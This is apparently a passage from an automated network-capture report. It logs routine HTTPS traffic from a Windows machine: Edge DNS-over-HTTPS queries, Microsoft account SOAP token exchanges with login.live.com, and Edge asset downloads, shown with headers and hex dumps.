2024-11-25 11:08:45 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 11:08:45 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49770	172.64.41.3	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:45 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-25 11:08:45 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49767	40.126.53.6	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:45 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-25 11:08:45 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 11:08:46 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 11:07:46 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C516_SN1 x-ms-request-id: ea1dea1f-34e7-4d11-a4f4-fceb52aeee66 PPServer: PPV: 30 H: SN1PEPF0002F908 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 11:08:45 GMT Connection: close Content-Length: 11389
2024-11-25 11:08:46 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49772	13.107.246.63	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:47 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 11:08:47 UTC	577	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:47 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: b33c4d2f-f01e-005b-29f5-3e6f7b000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T110847Z-15b8b599d88vp97chC1TEB5pzw00000005r000000000f2he Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 11:08:47 UTC	15807	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-25 11:08:47 UTC	16384	IN	Data Raw: 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c Data Ascii: u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp
2024-11-25 11:08:47 UTC	16384	IN	Data Raw: b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d Data Ascii: ,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-
2024-11-25 11:08:48 UTC	16384	IN	Data Raw: 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 Data Ascii: B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M,SqP
2024-11-25 11:08:48 UTC	16384	IN	Data Raw: c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e Data Ascii: kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.V
2024-11-25 11:08:48 UTC	16384	IN	Data Raw: 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 Data Ascii: {M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\
2024-11-25 11:08:48 UTC	16384	IN	Data Raw: b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 Data Ascii: O n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>Jc
2024-11-25 11:08:48 UTC	16384	IN	Data Raw: e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 Data Ascii: ,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-25 11:08:48 UTC	16384	IN	Data Raw: 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 Data Ascii: 4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@
2024-11-25 11:08:48 UTC	16384	IN	Data Raw: 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 Data Ascii: VG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49781	40.126.53.6	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:48 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-25 11:08:48 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-25 11:08:49 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 25 Nov 2024 11:07:48 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C516_BAY x-ms-request-id: 27331e41-c613-4f0e-9c30-72dc4da21503 PPServer: PPV: 30 H: PH1PEPF000183CF V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 25 Nov 2024 11:08:48 GMT Connection: close Content-Length: 11389
2024-11-25 11:08:49 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49782	13.107.246.63	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:48 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 11:08:48 UTC	555	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 11:08:48 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 22 Nov 2024 21:01:12 GMT ETag: 0x8DD0B38CBCCFA90 x-ms-request-id: 25a254a2-e01e-004f-5920-3eac1f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T110848Z-174c587ffdfmlsmvhC1TEBvyks0000000610000000006mtv Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
